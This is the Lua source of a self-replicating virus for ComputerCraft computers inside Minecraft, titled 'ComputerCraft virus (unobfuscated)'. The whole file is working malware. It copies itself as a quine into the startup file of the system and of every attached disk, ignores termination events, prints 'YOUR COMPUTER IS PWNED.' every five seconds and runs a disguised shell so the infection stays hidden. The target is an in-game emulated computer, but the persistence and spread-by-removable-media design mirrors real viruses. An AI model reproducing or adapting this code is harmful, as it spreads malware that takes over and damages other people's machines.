ComputerCraft virus (unobfuscated)

local x="local x=%q local c=%q loadstring(c)(x:format(x,c))"
local code=[[
local r={...}
local vc=r[1]
local per=os.pullEventRaw
local cc=coroutine.create
local cr=coroutine.resume
local cs=coroutine.status
local st=os.startTimer
local function vm()
    local t,e,p=st(5)
    while true do
        if e=="timer" and p==t then
            print("YOUR COMPUTER IS PWNED.")
            t=st(5)
        end
        if (e=="key" and p==28) or e=="disk" or e==nil or e=="timer" then
            if e~="timer" then st(0.1) end
            for k,v in ipairs(fs.list("/")) do
                local d=fs.getDrive("/"..v)
                if d~="rom" and d~="hdd" then
                    local f = fs.open("/"..v.."/startup","w")
                    f.write(vc)
                    f.close()
                end
            end
            local f=fs.open("/startup","w")
            f.write(vc)
            f.close()
        end
        e,p=per()
    end
end

local cr1 = cc(vm)
local cr2 = cc(function()
    term.clear() term.setCursorPos(1, 1)
    local fsh={aliases=function() return {ls="list",dir="list",cp="copy",mv="move",rm="delete"} end,
    dir=function() return "" end,
    path=function() return ".:/rom/programs" end}
    os.run({shell=fsh},"/rom/programs/shell")
end)
cr(cr1) cr(cr2)
while cs(cr1)~="dead" and cs(cr2)~="dead" do
    local e={per()}
    cr(cr1,unpack(e))
    cr(cr2,unpack(e))
end
]]
code = code:gsub("[ \t\n]+", " ")
assert(loadstring(code))(x:format(x, code))